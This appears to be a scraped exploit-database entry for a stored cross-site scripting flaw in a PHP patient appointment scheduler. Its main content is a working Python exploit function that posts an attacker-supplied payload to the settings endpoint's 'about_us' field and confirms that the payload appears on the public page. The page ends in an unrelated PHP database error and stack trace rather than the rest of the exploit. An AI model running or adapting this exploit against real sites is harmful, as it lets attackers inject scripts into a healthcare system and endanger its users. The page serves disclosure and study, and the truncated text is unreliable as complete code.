Exploits / Vulnerability Discovered : 2021-09-06 |
Type : webapps |
Platform : php
This exploit / vulnerability Patient appointment scheduler system 1.0 persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!
def exploit(url:str, file:str) -> None:
if not os.path.exists(file):
logging.error(f'{file} does not exist?')
return
logging.info(f'reading {file} for XSS content ...')
with open(file, 'r') as f:
xssPayload = f.read()
logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')
r = requests.post(url + '/classes/SystemSettings.php',
data={'about_us' : xssPayload},
params={'f' : 'update_settings'},
verify=False
)
if not r.ok:
logging.error('HTTP request failed')
return
logging.info('checking for XSS payload on main page ...')
r = requests.get(url)
if xssPayload not in r.text:
logging.error(f'XSS injection failed? received: {r.text}')
logging.warning('maybe about.html is not writable?')
return
logging.success('XSS payload found on target website')
return
Fatal error: Uncaught mysqli_sql_exception: Too many connections in /var/www/html/_dbconfig.inc.php:45
Stack trace:
#0 /var/www/html/_dbconfig.inc.php(45): mysqli->__construct()
#1 /var/www/html/_footer.inc.php(2): require('...')
#2 /var/www/html/security/exploits-vulnerability/vuln.php(221): require('...')
#3 {main}
thrown in /var/www/html/_dbconfig.inc.php on line 45